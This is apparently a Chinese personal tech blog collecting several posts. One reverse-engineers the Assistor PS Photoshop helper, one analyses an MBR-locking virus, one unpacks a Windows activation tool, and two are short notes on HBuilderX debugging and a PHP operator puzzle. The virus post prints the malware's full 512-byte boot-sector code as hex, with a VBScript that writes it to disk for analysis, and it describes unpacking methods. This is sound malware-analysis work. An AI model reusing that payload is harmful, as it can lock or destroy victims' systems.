Web,分析
分析

Assistor PS 分析

微信截图_20190806163246.png

Assistor PS  :Save Your Valuable Time (节省你的宝贵时间)

初看Assistor PS让我觉得惊为天人,不需要以插件的形式存在就可以进行读取图层,并且为每个图层进行标注,裁剪,距离计算等等一系列比较黑科技的功能。于是安奈不住分析一下。

微信截图_20190806163744.png

界面做的很漂亮,然后有几个按钮,本来想直接找按钮底下的事件,发现不是太好找,于是换了个思路,查找热键对应的事件。

反编译找到如下代码

GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D1).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D2).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D3).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D4).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.Q).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.W).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.E).Pressed = OnHotKeyPressed;

然后找到回调事件

switch (e.Key)
{
    default:
        return;
    case GlobalHotKey.Keys.D1:
        Tool.ExecutePosition();
    break;
    case GlobalHotKey.Keys.D2:
        Tool.ExecuteSize();
    break;
    case GlobalHotKey.Keys.D3:
        Tool.ExecuteDistance();
    break;
    case GlobalHotKey.Keys.D4:
        Tool.ExecuteText();
    break;
    case GlobalHotKey.Keys.Q:
        Tool.ExecuteGuideBox();
    break;
    case GlobalHotKey.Keys.W:
        Tool.ExecuteSnips();
    break;
    case GlobalHotKey.Keys.A:
        Tool.ExecuteDescription();
    break;
}

发现作者是将一些操作封装了一下,查看这个Tool类。

public void ExecutePosition()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Position, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Position, this.()));
}
public void ExecuteSize()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Size, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Size, this.()));
}
public void ExecuteText()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Text, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Text, this.()));
}
public void ExecuteDistance()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Distance, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Distance, this.()));
}
public void ExecuteGuideBox()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_GuideBox, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.GuideBox, this.()));
}
public void ExecuteSnips()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Snips, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Snips, this.()));
}

然后有一个ScriptProvider,这里面有一些比较好的进程之间的写法,总的来说,通过ScriptMethodType判断你的执行操作类型,然后执行Photoshop的JSX脚本。

ScriptMethodType类型

public enum ScriptMethodType
{
    Position,
    Size,
    Text,
    Distance,
    GuideBox,
    Snips,
    Description,
    Document,
    Guides,
    GuidesHCenter,
    GuidesVCenter,
    GuidesClear,
    Rounder,
    Tiler,
    Capture
}

JSX脚本

  1.     JSX.WIT.Photoshop.Application.jsx

  2.     JSX.WIT.Photoshop.Common.jsx

  3.     JSX.WIT.Photoshop.Document.jsx

  4.     JSX.WIT.Photoshop.DrawingContext.jsx

  5.     JSX.WIT.Photoshop.JSON.jsx

  6.     JSX.WIT.Photoshop.Parameter.jsx

  7.     JSX.WIT.Photoshop.Parser.jsx

  8.     JSX.WIT.Photoshop.Polygons.jsx

  9.     JSX.WIT.Photoshop.Processor.jsx

  10.     JSX.WIT.Photoshop.Script.Capture.jsx

  11.     JSX.WIT.Photoshop.Script.Distance.jsx

  12.     JSX.WIT.Photoshop.Script.Export.jsx

  13.     JSX.WIT.Photoshop.Script.GuideBox.jsx

  14.     JSX.WIT.Photoshop.Script.Guides.jsx

  15.     JSX.WIT.Photoshop.Script.GuidesClear.jsx

  16.     JSX.WIT.Photoshop.Script.GuidesHCenter.jsx

  17.     JSX.WIT.Photoshop.Script.GuidesVCenter.jsx

  18.     JSX.WIT.Photoshop.Script.jsx

  19.     JSX.WIT.Photoshop.Script.Position.jsx

  20.     JSX.WIT.Photoshop.Script.Rounder.jsx

  21.     JSX.WIT.Photoshop.Script.Size.jsx

  22.     JSX.WIT.Photoshop.Script.Snips.jsx

  23.     JSX.WIT.Photoshop.Script.Text.jsx

  24.     JSX.WIT.Photoshop.Script.Tiler.jsx

可以发现名字和ScriptMethodType自定义类型是一致的。

部分脚本源码

function Photoshop() {
    
    
    var desc = new ActionDescriptor();
    var ref = new ActionReference();
    ref.putProperty(typeID("Prpr"), typeID("PbkO"));
    ref.putEnumerated(typeID("capp"), typeID("Ordn"), typeID("Trgt"));
    desc.putReference(typeID("null"), ref );
    
    var pdesc = new ActionDescriptor();
    pdesc.putEnumerated(typeID("performance"), typeID("performance"), typeID("accelerated"));    
    desc.putObject(typeID("T   "), typeID("PbkO"), pdesc );
    executeAction(typeID("setd"), desc, DialogModes.NO);
    
}
Photoshop.prototype.SetPanelVisibility = function(panelName, visible)
{
    try {
        var desc = new ActionDescriptor();
        var ref = new ActionReference(); 
        ref.putName( stringIDToTypeID( "classPanel" ), panelName ); 
        desc.putReference( charIDToTypeID( "null" ), ref ); 
        executeAction( stringIDToTypeID( visible ? "show" : "hide"), desc, DialogModes.NO );  
    }
    catch(ex)
    {
    }
        
 
}
Photoshop.prototype.SetLayersPanelVisibility = function(visible)
{
    this.SetPanelVisibility('panelid.static.layers', visible);    
}
Photoshop.prototype.GetActiveDocument = function(){
    return new Document(this, this.GetActiveDocumentId());        
    
};
Photoshop.prototype.GetActiveDocumentId = function(){
    try {        
        var documentReference = new ActionReference();
        documentReference.putProperty(typeID("Prpr"), typeID("DocI"));
        documentReference.putEnumerated(typeID("Dcmn"), typeID("Ordn"), typeID("Trgt"));
        var documentDescriptor = executeActionGet(documentReference);
        return documentDescriptor.getInteger(typeID("DocI"));    
    }
    catch(ex) {
        return -1;        
    }
};
Photoshop.prototype.SetActiveDocument = function(document) {
    
    this.SetActiveDocumentFromId(document.DocumentId);
};
Photoshop.prototype.SetActiveDocumentFromId = function(documentId) {
    
    var documentDescriptor = new ActionDescriptor();
    var documentReference = new ActionReference();
    documentReference.putIdentifier(typeID("Dcmn"), documentId);
    documentDescriptor.putReference(typeID("null"), documentReference);
    executeAction(typeID("slct"), documentDescriptor, DialogModes.NO);
};
Photoshop.prototype.GetRulerUnits = function() {
    return preferences.rulerUnits; 
};
Photoshop.prototype.SetRulerUnits = function (rulerUnits) {
    preferences.rulerUnits = rulerUnits;
};
Photoshop.prototype.GetTypeUnits = function () {
    return preferences.typeUnits;
};
Photoshop.prototype.SetTypeUnits = function (typeUnits) {
    preferences.typeUnits = typeUnits;
};


【闲篇】对一款MBR病毒的分析

MBR是主引导记录,能不能进入系统全指望它。现在有些病毒也瞄上了它。刚看帖看到一个人说中了这种病毒,并给了一个样本,所以就分析一下。如有错误还望指出。


中毒后表现:(由于第一次直接解密后mbr已经清掉。所以显示的ID和分析的不一致。)


屏幕快照 2019-01-15 下午10.04.59.png


主程序是一个vm加壳后的程序,运行后有一个界面,有一个按钮,点击后会重写你的mbr,mbr代码如下。


屏幕快照 2019-01-15 下午9.57.39.png


上述是mbr的十六进制展示格式,要分析的话还是需要转换成字节。写了个VBScript的脚本来做转换。



WriteData = "E900008CC88ED88ED08EC0BC0001BDED7CBBED7CE8B00089C1B80113BB0C00B200CD10B800B805A0008ED831C931DB31C0CD163C0874133C0D741BB402880788670181C3020041E9E5FF81EB02004931C08907E9D9FF8CC88EC031DBBEDA7C2E8A0ED97CB5003E8A07268A2438E0753181C3020046E2EF31C0B8007E8EC031DBB402B280B001B600B500B103CD1331DBB280B403B001B600B500B101CD13E91D00BB00B881C33800B05888072E8B0ED97C31C0890781C30200E2F8E945FFB8FFFF50B8000050CB51533E8A0F80F90074054340E9F3FF595BC307394439373346670000000000000000000000005151333339363239363734370D0A5151333131303038333234380D0A0D0A594F5552204944203D2042433033620D0A0D0A42793A58692059616E672059616E67000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055AA"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetFolder(".").Path & "\1.exe"
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
msgbox Mid(WriteData,i,2)
FileObj.Write chrw(cbyte("&h" & mid(WriteData,i,2)))
Next
FileObj.Close
End If


然后分析这个1.exe就可以了,拖到ida里,代码很少,只有512个字节,这也是mbr的固定大小。可以看到如下的关键代码,为了方便观看,所以备注了。



其中的39H,44H,39H,37H,33H,46H,67H就是密码。转成字符串就可以了。

浅酌小饮之激活工具的问题

前几天用激活工具激活系统的时候提示成功,但是重启电脑后无法正确开机,最后重装。今天同事告诉我,他激活后无限重启。于是我就想研究研究这个激活工具,下载了同事说的会让他无限重启的一个激活工具不知道版本是否正确。


屏幕快照 2018-12-21 下午11.03.00.png

看第一条pushad指令感觉它是加了一个压缩壳,所以用ESP寄存器脱一下壳就好了,不然后面的RC数据你是拿不到的。我第一次脱得时候直接卡住了调试工具。于是用了一个以前的技术脱壳的。


屏幕快照 2018-12-21 下午10.27.17.png


首先选择纠正映像大小,因为你载入内存这个大小是会变的,所以你还要修复一下。然后在点击完整脱壳。这种脱壳方式有个不好的地方就是它的输入输出表有可能不会帮你完整的dump下来。所以你还要在修复输入输出表。


屏幕快照 2018-12-21 下午10.26.25.png


一般遇到强壳,修复输入输出表指针的时候会出现问题。因为壳把你的指针给隐藏或者抽离再或者混淆。办法很多,所以这里的指针修复的话也有三个等级。都不行的话 可以尝试直接删除无效的指针。不过这次比较好,都是有效指针,直接转存修复就好了。


屏幕快照 2018-12-21 下午11.08.16.png


这个时候你在转存修复。就会是一个push ebp 一个32位的ebp寄存器入栈的操作,这个也叫领空。领空的开始代表是一个子程序的开始,只不过这里是主线程。


我尝试着找到了界面上激活的功能子程序开头。


屏幕快照 2018-12-21 下午11.10.47.png

但是进入其中一个call的时候会出现长时间等待,然后提示不支持我的系统。因为我的系统是xp。那没办法,直接静态的大致看一下流程。实际可以用ida来看,不过大晚上就不折腾了。看了下流程基本上是这样的:


检测360杀毒->KMS服务安装->slmgr->x0 


由于同事提到重启,我也看了下这个程序有没有调用系统的重启命令。发现并没有。这里提一下,所有的重启系统的操作最后都会接管到系统的ExitWindowsEx函数。


BOOL ExitWindowsEx(
  UINT  uFlags,
  DWORD dwReason
);


最后发现造成我系统无法进入系统的问题应该是引导被破坏了,因为这个软件进行了引导的读写操作,win10的引导实际和win7的方式不一样,采用了一个新的引导方式。所以可能不兼容导致我的电脑无法开机。同事的重启我倒是没看到为什么。有时间的话,后续也许会下载同事用的版本在好好的分析看看,这次只是因为好久不更新文章了,强行刷一篇吧。

HBuilderX 测试基座分析

微信截图_20181031145619.png


新建一个项目,Html代码如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
    <title></title>
    <script src="js/mui.min.js"></script>
    <link href="css/mui.min.css" rel="stylesheet"/>
    <script type="text/javascript" charset="utf-8">
      mui.init();
    </script>
</head>
<body>
<button>test</button> 
</body>
</html>


由于云打包还需要填写一些信息,这里就直接模拟器调试了。


微信截图_20181031144857.png


看这个界面感觉还是蛮不错的,点击按钮也有一些效果。不过后来更改了下代码。然后直接Ctrl+S。随着一些输出信息结束,发现模拟器的界面竟然也变化了。要知道,如果是正常的开发,这种上传操作,肯定会覆盖APP,导致APP关闭,然后在启动的。而这个却没有这一变化。于是感觉实际是一个webview。ADB通知APP重载而已。


验证如下:


首先查看这个基座的界面节点信息:


微信截图_20181031145109.png


展开树结构到最后一个节点,可以发现是一个WebView。而它载入的URL可以通过输出信息来查看。


微信截图_20181031145134.png

在内存卡的Android目录下面。逐级展开这个目录,会发现自己写的代码。


微信截图_20181031145209.png


这是HBuilder调试基座的一些信息,如果真实的APP也是这样的结构,这样的方式存储。那么就会存在一个问题。。。

php 运算与变量引用

在加群的时候遇到一个问题:

$a=1;
$b=&$a;
$c=$b++ + ++$a;

问:$c=?如果你放倒ide里去做,那么很容易可以得到是4;不过具体是怎么实现的。这里随便说一说。

首先$b=&$a;。注意这里的&在php里是引用的意思,相当于取内存空间领空地址。也就是指针。所以操作$b也相当于操作$a。$b++ + ++$a;这里是运算符优先级的问题。首先$b++实际是$b先参与运算,然后再自增。后面一个++$a正好相反。也就是相当于$c=1+3。